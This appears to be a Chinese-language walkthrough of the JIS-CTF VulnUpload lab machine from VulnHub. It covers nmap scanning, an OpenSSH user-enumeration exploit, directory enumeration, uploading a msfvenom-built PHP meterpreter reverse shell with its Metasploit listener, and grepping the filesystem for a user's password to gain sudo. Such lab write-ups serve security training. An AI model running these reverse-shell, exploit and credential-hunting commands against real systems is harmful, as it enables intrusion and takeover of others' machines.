仅供个人娱乐
靶机信息
下载地址:https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/
一、网卡设置
设置为NAT模式,
![](https://upload-images.jianshu.io/upload_images/4664072-925f89564eafcd20.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-c77364cfec9d8c65.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-767865b5efaca0db.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-dd9feb8100ddef65.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
使用vi去修改/etc/network/interface
![](https://upload-images.jianshu.io/upload_images/4664072-32b8ee2631a56b16.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
修改保存重启,启动网卡username 3: technawi password : 3vilH@ksor
![](https://upload-images.jianshu.io/upload_images/4664072-312525182eb3f382.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
二、主机探测
nmap -sn 192.168.47.0/24
![](https://upload-images.jianshu.io/upload_images/4664072-2ca5ff78bee77ac2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
nmap -n -vv -T5 -sn 192.168.47.0/24 | grep -B 1 'Host is up'
![](https://upload-images.jianshu.io/upload_images/4664072-8852a87fbbf35784.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
三、端口扫描
![](https://upload-images.jianshu.io/upload_images/4664072-4e8b72d84b46fa9e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
JIS 在 22 端口开启了 SSH(OpenSSH 7.2p2)、80 端口开启 HTTP(Apache httpd 2.4.18)等两个服务。另外,操作系统为 ubuntu。这三个信息将成为下个阶段的主要攻击面。
![](https://upload-images.jianshu.io/upload_images/4664072-ff19f8f46ba96167.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
cd /usr/share/exploitdb/exploits/linux/remote/
python 40136.py -U '/root/user.txt' -e 192.168.47.137
![](https://upload-images.jianshu.io/upload_images/4664072-f4e50e621056ca2d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
searchsploit openssh
![](https://upload-images.jianshu.io/upload_images/4664072-3700dc995d0dd64d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
有两个漏洞,依次为本地提权的漏洞、远程命令执行漏洞。
对前者而言,当前没用任何据点(如webshell),还谈不上提权操作,当前只能先放放,后续可能用的上;
对后者来说,利用条件非常严苛,攻击者必须拿到 forwardedagent-socket 的控制权,而且目标必须 SSH 登录攻击者所控制 forwarded agent-socket的那台机器,才可能让目标加载指定 *.so,实现远程命令执行。
![](https://upload-images.jianshu.io/upload_images/4664072-2dabf44cf465e543.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
漏洞为漏洞内存泄漏的漏洞
查看web页面
![](https://upload-images.jianshu.io/upload_images/4664072-4d01131f6914571f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
首先查看源码
![](https://upload-images.jianshu.io/upload_images/4664072-28b473fb42b23f15.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-6825e3109b55ef9b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
dirb http://192.168.47.137
![](https://upload-images.jianshu.io/upload_images/4664072-57d016e163e2f7d9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
通过 engagement tools – discover content,启用子目录枚举功能
![](https://upload-images.jianshu.io/upload_images/4664072-001924a3ef481b2e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
这里已经知道了后端语言是php,所以就只枚举php文件
![](https://upload-images.jianshu.io/upload_images/4664072-f245cef7429b65f3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-8a8c768d1174e0f9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
爬取网站
![](https://upload-images.jianshu.io/upload_images/4664072-c0c7bb27f3ba7b6c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-091ea77e499adba5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
在sitemap搜索一下flag
![](https://upload-images.jianshu.io/upload_images/4664072-7ac72c9e45536de5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-3bb8ac6d1453b4d0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
The 1st flag is : {8734509128730458630012095}
The 2nd flag is : {7412574125871236547895214}
username : admin
password : 3v1l_H@ck3r
![](https://upload-images.jianshu.io/upload_images/4664072-852a14521b7b01a7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
上传文件
![](https://upload-images.jianshu.io/upload_images/4664072-1c5207b2a5f7dba1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-517a24c7df23ccd9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
我们爬到的uploads跟uploaded_files文件夹,去尝试访问
![](https://upload-images.jianshu.io/upload_images/4664072-00f48875c0d79508.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
msfvenom --payload php/meterpreter/reverse_tcp LHOST=192.168.47.128 LPORT=4444 --format raw --out ./php.php
![](https://upload-images.jianshu.io/upload_images/4664072-8ebbd10a64ea6344.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
上传木马
![](https://upload-images.jianshu.io/upload_images/4664072-428e1c5ef127076c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload /php/meterpreter/reverse_tcp
se[-] The value specified for payload is not valid.
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set Lhost 192.168.47.128
Lhost => 192.168.47.128
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > run
![](https://upload-images.jianshu.io/upload_images/4664072-cb673139d75c2f62.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-07cdb3dfb428dd0f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
信息收集
![](https://upload-images.jianshu.io/upload_images/4664072-e98bdc4745bde1ec.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-475ecb136ae875e6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
发现了在technawi的用户目录下有.sudo_as_admin_successful文件,所以我们只要拥有technawi用户,就有root权限
再去找找文件中有没technawi
![](https://upload-images.jianshu.io/upload_images/4664072-94a158462780bfbd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
grep -ri --exclude-dir=proc/ 'technawi' / 2> /dev/null
![](https://upload-images.jianshu.io/upload_images/4664072-33344fcce3277d5b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-a773c27f66123c8d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
ssh登录
![](https://upload-images.jianshu.io/upload_images/4664072-b838c55ed84abcc5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)